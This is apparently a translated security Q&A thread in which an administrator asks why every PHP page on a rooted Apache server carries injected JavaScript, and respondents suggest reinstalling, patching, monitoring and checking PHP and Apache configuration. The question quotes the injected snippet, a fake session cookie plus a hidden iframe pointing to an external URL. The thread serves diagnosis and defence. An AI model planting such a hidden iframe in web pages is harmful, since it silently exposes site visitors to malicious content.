Iniezione javascript estesa al server

6

AGGIORNAMENTO: il server è stato rootato, php.ini è stato sostituito che fa apparire l'iniezione. Non ho ancora capito quale direttiva stia iniettando il javascript.

Sto risolvendo un sito web compromesso in cui viene iniettato un javascript in ogni file PHP e solo in PHP. Anche l'iniezione si presenta solo in IE. Ho già avuto esperienze con l'iniezione, ma la maggior parte di esse è stata iniettata tramite FTP, e puoi vederle nella pagina stessa. Fino ad ora non vedo alcun virus o processo malevolo sul server e comincio a pensare che l'interprete PHP o Apache sia stato violato in qualche modo. Qualcuno l'ha già visto prima o sa dove dovrei guardare? L'iniezione è al di sotto,

<script type="text/javascript">
        d=new Date();
        d.setDate(d.getDate()+1);
        document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
      </script><style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://SANITISEDURL.net/ad.jpg?2"></iframe>

Questo succede a tutti i siti web sul server, anche con file PHP che ha solo un eco semplice. .htaccess sembra pulito per tutti loro. Server con PHP 5.2.17 e Apache 2.2.17.

    
posta breakingigloo 17.11.2011 - 08:22
fonte

4 risposte

7

In base al tuo commento alla risposta di @ esskar, sembrerebbe che il tuo server sia stato rootato e che il binario php sia stato sostituito.

Poiché non hai idea di cos'altro possa essere stato sostituito, vorrei reinstallarlo da zero. Sfortunatamente dovrai essere diffidente nei confronti dei file di dati che escono dai backup, a meno che tu non sappia esattamente quando si è verificato l'hacking. (E ho il sospetto che tu non lo sappia, dal momento che non sai esattamente cosa sia / è stato l'hack.)

Il mio più grande problema con l'approccio "reinstallare da zero" è che è probabile che tu abbia esattamente la stessa vulnerabilità che ha permesso il successo di questo attacco. Per evitare che ciò accada:

  • Cambia tutte le password per tutti i servizi.
  • Assicurati che tutte le patch per tutti i pacchetti siano installate.
  • Arresta i servizi che non sono in uso.
  • Se possibile, i servizi di partizione su più server - posizionano servizi che potrebbero essere a rischio più elevato su un server separato.
  • Imposta il monitoraggio (IDS) e mantieni la manutenzione su di esso in modo da avere la possibilità di sapere cosa è successo se si verifica un altro attacco.
risposta data 17.11.2011 - 15:56
fonte
4

apri una shell ed esegui php da lì (forse un semplice mondo Hello) e guarda cosa viene fuori. se emette il codice iniettato, sai cosa correggere.

EDIT 1: non l'ho mai visto prima Ho fatto alcune query su Google in precedenza, il risultato è piuttosto piccolo, ma la maggior parte di questi risultati sono collegati alle pagine in cui ho ricevuto un avviso di sicurezza da avira: object < < < JS / Redirector.LC; virus; Contiene il pattern di rilevamento del virus di script Java JS / Redirector.LC

    
risposta data 17.11.2011 - 10:07
fonte
1

Potrebbe non essere un buon uso del tuo tempo per cercare di capire esattamente come funzionano le cose malevole sul tuo sito. È difficile essere sicuri di aver trovato tutto.

Al contrario, il consiglio standard è di riformattare e reinstallare da backup attendibili che risalgono prima dell'intrusione. C'è molto altro da dire su questo. Piuttosto che ripetere ciò che altri hanno scritto, ti indirizzerò alla domanda "cosa fare dopo sospetta intrusione sul server web di un hobby" , che copre abbastanza bene questo argomento.

    
risposta data 18.11.2011 - 05:32
fonte
0

(presumo che in questa fase si stia utilizzando un'immagine VM offline per l'analisi e che il server sia spento)

È possibile che questo possa essere implementato su diversi livelli: lo script php, la configurazione php, l'apache binary o anche il kernel.

Il luogo ovvio per iniziare a cercare è negli script PHP. Se non c'è nulla lì, quindi il prossimo passo sarebbe quello di verificare la presenza di auto-prepends nella configurazione httpd. Supponendo che sia pulito, e non si veda lo stesso comportamento con i file .html, proverei a cambiare l'associazione del tipo di file per i file php nella configurazione httpd. Se il problema si verifica ancora, il .js viene iniettato dal gestore PHP in Apache (ma non specificamente da PHP stesso).

Nota che capire come verrà implementata l'iniezione sarà probabilmente di poco beneficio per capire come è stato implementato il codice per implementarlo - per esempio. come proteggere il tuo server dall'attacco.

Non hai detto se si tratta di mod_php, cgi o fcgi - che ha qualche rilevanza.

Inoltre non hai menzionato su quale sistema operativo è in esecuzione, né se ci sono backup.

Questo sarebbe stato utile in quanto la maggior parte dei gestori di pacchetti Linux fornisce (di solito un meccanismo di controllo delle firme dei file abbastanza rudimentale). E se hai vecchi backup puoi vedere se riesci a trovare l'ultimo che non mostra l'iniezione e confrontare i file con il primo che mostra l'iniezione.

    
risposta data 18.11.2011 - 13:21
fonte

Leggi altre domande sui tag